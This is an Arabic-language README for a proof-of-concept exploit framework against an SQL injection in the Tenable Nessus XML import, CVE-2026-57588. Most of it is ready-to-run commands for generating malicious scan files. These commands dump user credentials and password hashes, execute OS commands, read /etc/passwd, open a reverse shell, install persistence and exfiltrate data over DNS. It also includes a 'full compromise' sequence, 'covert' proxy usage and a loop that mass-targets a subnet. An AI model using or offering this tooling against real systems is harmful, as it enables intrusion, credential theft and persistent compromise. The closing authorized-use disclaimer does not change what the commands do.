🛡️ CVE-2026-57588 - إطار عمل استغلال حقن SQL في Nessus
📋 جدول المحتويات
🔍 نظرة عامة
CVE-2026-57588 هي ثغرة حقن SQL حرجة تم اكتشافها في إصدارات Tenable Nessus 10.12.0 والإصدارات الأقدم. تكمن الثغرة في آلية تحليل XML عند استيراد ملفات نتائج الفحص .nessus، مما يسمح للمستخدمين المُصادَق عليهم الحاصلين على صلاحيات الاستيراد بتنفيذ استعلامات SQL عشوائية ضد قاعدة بيانات PostgreSQL الخلفية.
⚠️ تفاصيل الثغرة
🔬 التفاصيل الفنية
توجد الثغرة بسبب عدم كفاية تعقيم قيم وسوم XML قبل دمجها في استعلامات SQL أثناء عملية الاستيراد. يمكن للمهاجم إنشاء ملف .nessus يحتوي على حمولات حقن SQL مصممة خصيصًا داخل وسوم XML مثل:
hostname
fqdn
os
system-type
mac-address
netbios-name
عندما يستورد مستخدم بصلاحيات مرتفعة الملف الخبيث، يتم تنفيذ القيم غير المعقَّمة ضد قاعدة بيانات PostgreSQL الخلفية، مما يتيح:
- تعداد قاعدة البيانات
- تسريب البيانات
- تنفيذ الأوامر
- الوصول إلى نظام الملفات
- تثبيت الاستمرارية
✨ الميزات
اضغط لتوسيع قائمة الميزات
🎯 إدارة الحمولات
- أكثر من 13 نوعًا من الحمولات مصنفة حسب الغرض
- توليد الحمولات القائم على القوالب
- إنشاء الحمولات المخصصة والتحقق منها
- التحقق من المعاملات وفحص الصياغة
- التحقق من صياغة SQL
🚀 قدرات الاستغلال
- استغلال متعدد المراحل مع تنفيذ متوازٍ
- بصمة قاعدة البيانات والتعداد
- تسريب البيانات مع اختيار مخصص للجداول/الأعمدة
- تنفيذ الأوامر على النظام المستهدف
- الوصول إلى نظام الملفات وقراءتها
- شل عكسي مع جلسة تفاعلية
- آليات تثبيت الاستمرارية
- حقن SQL أعمى قائم على الوقت
- حقن SQL أعمى قائم على القيم المنطقية
- حقن SQL قائم على الأخطاء
- استعلامات متراصة للاستغلال المتقدم
- تسريب DNS خارج النطاق
📊 التقارير والتسجيل
- تقارير HTML بتنسيق احترافي
- تقارير Markdown للتوثيق
- تقارير JSON للأتمتة
- تقارير نصية للمراجعة السريعة
- تدوير السجلات بمستويات متعددة
- إحصائيات تنفيذ مفصلة
- تجزئة الملفات للتحقق من السلامة
🛠️ ميزات متقدمة
- تنفيذ متوازٍ مع مهام قابلة للضبط
📦 التثبيت
🐍 المتطلبات الأساسية
- Python 3.7 أو أحدث
- pip (مدير حزم Python)
- Git (اختياري، للاستنساخ)
🔧 التثبيت السريع
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
🐳 التثبيت عبر Docker
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 التثبيت كحزمة
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
🚀 بدء سريع
الاستخدام الأساسي
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
مساعدة الأوامر
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
💡 أمثلة الاستخدام
1. التعداد الأساسي
python3 exploit.py generate -u https://test.com -p enum
المخرجات المتوقعة
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
2. استغلال متقدم متعدد المراحل
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. تسريب البيانات
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. الشل العكسي
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. تنفيذ الأوامر
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. قراءة الملفات
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. الحقن الأعمى القائم على الوقت
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. مع دعم البروكسي
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. التنفيذ المتوازي
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. وضعا التفصيلي والصامت
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 أنواع الحمولات
الفئة: FINGERPRINTING
| الحمولة | الوصف | المعاملات |
|---|
fingerprint | بصمة قاعدة البيانات | لا يوجد |
الفئة: UNION
| الحمولة | الوصف | المعاملات |
|---|
schema_dump | تفريغ مخطط قاعدة البيانات | لا يوجد |
data_exfil | استخراج بيانات الجدول | table, columns |
الفئة: TIMING
| الحمولة | الوصف | المعاملات |
|---|
time_based | حقن أعمى قائم على الوقت | delay |
boolean_blind | حقن أعمى قائم على القيم المنطقية | condition, delay |
الفئة: FILE_ACCESS
| الحمولة | الوصف | المعاملات |
|---|
file_read | قراءة ملفات النظام | path, offset, length |
الفئة: COMMAND_EXEC
| الحمولة | الوصف | المعاملات |
|---|
command_exec | تنفيذ أوامر النظام | command |
الفئة: REVERSE_SHELL
| الحمولة | الوصف | المعاملات |
|---|
reverse_shell | إنشاء شل عكسي | host, port |
الفئة: PERSISTENCE
| الحمولة | الوصف | المعاملات |
|---|
persistence | تثبيت الاستمرارية | لا يوجد |
الفئة: ERROR_BASED
| الحمولة | الوصف | المعاملات |
|---|
error_based | حقن قائم على الأخطاء | query |
الفئة: STACKED
| الحمولة | الوصف | المعاملات |
|---|
stacked_queries | استعلامات متراصة | query |
الفئة: OUT_OF_BAND
| الحمولة | الوصف | المعاملات |
|---|
oob_dns | تسريب DNS | host, data |
🎯 سيناريوهات متقدمة
السيناريو 1: سير عمل الاختراق الكامل
# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v
# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist
# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
السيناريو 2: العمليات السرية
# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
السيناريو 3: خط أنابيب الاختبار الآلي
#!/bin/bash
# auto_exploit.sh - Automated exploitation script
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# Run all payloads
for payload in enum dump shell persist; do
echo "[*] Running payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
السيناريو 4: التقييم الأمني على مستوى المؤسسة
# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Testing: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
السيناريو 5: جمع الأدلة
# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 إعداد التقارير
صيغ التقارير المتاحة
توليد التقارير
# Generate all report formats
python3 exploit.py report -i results.json -o report
# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html
# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown
محتويات التقرير
- معلومات الهدف
- معرّف الجلسة ونوع الحمولة
- إحصائيات التنفيذ
- قائمة الملفات المُولَّدة
- تجزئات الملفات للتحقق من السلامة
- سجلات الأخطاء (إن وجدت)
- إخلاء المسؤولية والتحذيرات
🔧 استكشاف الأخطاء وإصلاحها
المشكلات الشائعة والحلول
المشكلة 1: أخطاء الاتصال
# Error: Connection refused
# Solution: Check if Nessus is running and port is accessible
python3 exploit.py generate -u https://test.com:8834 -p enum
# Error: SSL certificate verification failed
# Solution: Disable SSL verification
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
المشكلة 2: أخطاء التحقق من XML
# Error: Invalid XML structure
# Solution: Disable XML validation
python3 exploit.py generate -u https://test.com -p enum --no-validate
المشكلة 3: أخطاء الحمولة
# Error: Missing required parameter
# Solution: Check payload requirements
python3 exploit.py validate -p command_exec
# Then provide required parameters
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
المشكلة 4: رفض الإذن
# Error: Cannot write files
# Solution: Check directory permissions
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
المشكلة 5: مشاكل المهلة الزمنية
# Error: Operation timed out
# Solution: Increase timeout
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Or use retries
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 اعتبارات أمنية
⚠️ تحذيرات مهمة
- الامتثال القانوني: استخدم الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
- حماية البيانات: تعامل مع بيانات الاعتماد والبيانات المستخرجة بحذر شديد
- بيئة معزولة: اختبر دائمًا في بيئات معملية معزولة
- النسخ الاحتياطي: قم دائمًا بعمل نسخ احتياطية لقواعد البيانات قبل الاختبار
- الاستعادة: أعد الأنظمة إلى حالتها الأصلية بعد الاختبار
- التوثيق: وثّق جميع أنشطة الاختبار لأغراض الامتثال
✅ أفضل الممارسات
- استخدم حسابات اختبار مخصصة
- احتفظ بسجلات مفصلة لجميع الإجراءات
- استخدم VPN/بروكسي لإخفاء الهوية عند اختبار أنظمة الطرف الثالث
- اتبع إرشادات الإفصاح المسؤول
- ثقّف فريقك بشأن هذه الثغرة
📝 الترخيص
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
🤝 المساهمة
نرحب بالمساهمات! لا تتردد في تقديم Pull Request.
إعداد بيئة التطوير
# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
pytest
# Format code
black exploit.py
# Check linting
flake8 exploit.py
📞 الدعم
التوثيق
الاتصال
📄 سجل التغييرات
الإصدار 1.0.0 (2026-07-22)
الإصدار الأولي
- ✅ إطار استغلال شامل
- ✅ 13 نوعًا من الحمولات مصنفة حسب الغرض
- ✅ استغلال متعدد المراحل مع تنفيذ متوازٍ
- ✅ التحقق من XML وفحص المخطط
- ✅ صيغ تقارير متعددة (HTML، Markdown، JSON، Text)
- ✅ تجزئة تلقائية للملفات والتحقق من السلامة
- ✅ تسجيل احترافي مع تدوير السجلات
- ✅ دعم البروكسي للعمليات السرية
- ✅ شل عكسي مع جلسة تفاعلية
- ✅ آليات الاستمرارية
- ✅ تنفيذ الأوامر وقراءة الملفات
- ✅ حقن أعمى قائم على الوقت والقيم المنطقية
- ✅ حقن قائم على الأخطاء واستعلامات متراصة
- ✅ تسريب DNS خارج النطاق
- ✅ دعم Docker
- ✅ توافق عبر المنصات
⬆ العودة إلى الأعلى
⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرَّح بها فقط. الاستخدام غير المصرَّح به غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.